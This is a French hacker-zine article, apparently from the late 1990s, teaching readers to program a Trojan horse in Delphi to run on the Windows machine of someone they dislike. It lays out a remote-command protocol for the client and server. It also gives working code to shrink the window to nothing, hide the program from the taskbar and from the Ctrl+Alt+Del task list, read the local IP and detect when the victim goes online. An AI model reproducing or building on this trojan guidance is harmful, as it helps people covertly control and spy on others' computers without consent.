Luttons pour Altern.org et contre Estelle Halliday

Programmer un Cheval De Troie 1
(Par Le_Magicien pour Galaad)

Intro :

    Nous allons ici nous intéresser à la programmation de Chevaux De Troie (CDT) en Delphi sous Windows.

Pourquoi sous Windows ?
Ben, si vous posez cette question, c'est que vous n'avez pas bien compris ce qu'est un CDT. Je vous renvoie donc à l'article de CyberBobJr. Pour ceux qui sont pressés, je dirai juste qu'un CDT est fait pour tourner sur la machine d'un naze que vous n'aimez pas. Et par définition, une "machine d'un naze que vous n'aimez pas" tourne sous Windows. Il va donc falloir vous y faire, un bon CDT doit être programmé pour Windows.

Pourquoi en Delphi ?
Pasque !

1) Le matériel de base :

    Votre CDT sera destiné à fonctionner sur un réseau TCP/IP (sisi, j'vous le jure). il vous faut donc un composant TCP/IP. Il en existe un fourni avec Delphi III et plus, mais en version serveur, il ne fonctionne que sur les ordis où Delphi est installé (ceux qui sont censés avoir payé leur license). Je vous déconseille donc d'utiliser ce composant, au profit d'un autre, totalement gratuit, et dont les sources sont disponibles (tiens tiens, ça me rappelle quelque chose ;-) écrit par un Belge : François Piette, et que vous pourrez télécharger sur son site.
Je ne décrirai pas dans ce document la programmation de ce composant. Si vous me le demandez, celà sera fait dans le prochain numéro de AlTeRnAtIvE.

2) Prévoir la communication entre le Client et le Serveur :

    Je vous conseille de développer conjointement la partie Client et la partie Serveur, ce qui vous permettra de vérifier au cours du développement la validité de votre programme. Je vous conseille aussi de prévoir dès le début un système de communication Client/Serveur assez blindé afin de prévoir un bordel qui pourrait s'installer dans vos sources et toute évolution lors de prochaines versions. Voici un schéma qui pourrait marcher :

Commencer toute commande par le caractère "%".
Le faire suivre d'un numéro de commande composé de la manière suivante :
2 chiffres décrivant le groupe dans lequel se situe la commande.
1 chiffre décrivant l'action à accomplir.
Puis les options de la commande.
Enfin, un commentaire (précédé d'un caractère spécial) sur le reste de la ligne, que le programme n'examinera pas, mais qui vous permettra de mieux vous y retrouver, et éventuellement de piloter un serveur par Telnet depuis un poste où votre client n'est pas installé (dans un CyberCafé par exemple).

Exemple :
%150 toto.txt #Envoi de fichier

Où 15 est le groupe d'actions sur l'envoi de fichiers, et 0 l'action de commencer un téléchargement. Dans le même registre, on pourrait prévoir d'autres actions :
1 : Reprendre un téléchargement.
2 : Vérifier l'intégralité d'un fichier téléchargé.
3 : Finir un téléchargement.

3) Routines utiles à la programmation d'un CDT :

a) Cacher la fenêtre de l'écran :

L'idée est simple : réduire la fenêtre à un carré de 0*0 pixels :

Var
   TmpWidth, TmpHeight : Integer;
   Bordures: TFormBorderStyle;

Procedure CacheFen (Formz : TForm);
Begin
   Bordures := Formz.BorderStyle;
   Formz.BorderStyle := bsNone;
   TmpWidth := Formz.Width;
   TmpHeight := Formz.Height;
   Formz.Width := 0;
   Formz.Height := 0;
End;

Procedure MontreFen (Formz : TForm);
Begin
   Formz.BorderStyle := Bordures;
   Formz.Width := TmpWidth;
   Formz.Height := TmpHeight;
End;

b) Cacher l'application de la barre des tâches :

Juste un cht'it appel aux APIs de Windows.

Procedure CacheBarre;
Begin
   ShowWindow(Application.Handle, SW_HIDE);
End;

c) Cacher le programme de la liste des tâches (CTRL+ATL+SUPPR) :

Procedure CacheApp;
Begin
   RegisterServiceProcess (GetCurrentProcessId, 1);
End;

Procedure MontreApp;
Begin
   RegisterServiceProcess (GetCurrentProcessId, 0);
End;

Et oui, c'est aussi court. La technique consiste ici à faire croire à Windows que le programme en question est un driver... (c'qu'il se laisse facilement berner, le Windows ;-)

d) Obtenir l'adresse IP de l'ordinateur local :

Function LocalIP : String;
{Renvoie l'adresse IP locale.
Si connecté à aucun réseau, renvoie 127.0.0.1}


Type
   TaPInAddr = array [0..10] of PInAddr;
   PaPInAddr = ^TaPInAddr;
Var
   phe : PHostEnt;
   pptr : PaPInAddr;
   Buffer : array [0..63] of char;
   I : Integer;
   GInitData : TWSADATA;
Begin
{Démarrage des Sockets Windows}
   WSAStartup($101, GInitData);
   Result := '';
{Obtenir le nom de l'ordinateur local}
   GetHostName(Buffer, SizeOf(Buffer));
   phe :=GetHostByName(buffer);
   if phe = nil then Exit;
{Transformer ce nom en adresse IP}
   pptr := PaPInAddr(Phe^.h_addr_list);
   I := 0;
   While pptr^[I] <> nil do
   Begin

      result:=StrPas(inet_ntoa(pptr^[I]^));
      Inc(I);
   End;
{Fin de l'utilisation des Sockets Windows}
   WSACleanup;
End;

e) Enfin, comment déterminer si l'ordi est connecté sur le net :

Function IsConnected : Boolean;

Var
   Registre : TRegistry;
   Buffer : Array [0..10] Of Byte;

Begin
   Registre := TRegistry.Create;
   Try
      IsConnected := False;
      Registre.RootKey := HKEY_LOCAL_MACHINE;
      If Registre.OpenKey ('System\CurrentControlSet\Services\RemoteAccess', False) Then
      If Registre.ValueExists ('Remote Connection') Then
         Begin
            Buffer [0] := 0;
            Registre.ReadBinaryData ('Remote Connection', Buffer, 10);
            If Buffer [0] <> 0 Then
               IsConnected := True;
         End;

   Finally
      Registre.CloseKey;
      Registre.Free;
   End;
End;

Pour détecter automatiquement le début d'une connexion, il suffit alors de lancer à intervalles réguliers cette fonction grâce à une horloge. C'est comme ça que fonctionnent ICQ ou encore GetRight.

Vous aurez d'autres informations, et les réponses à vos questions dans le prochain AlTeRnAtIvE.

Luttons pour Altern.org et contre Estelle Halliday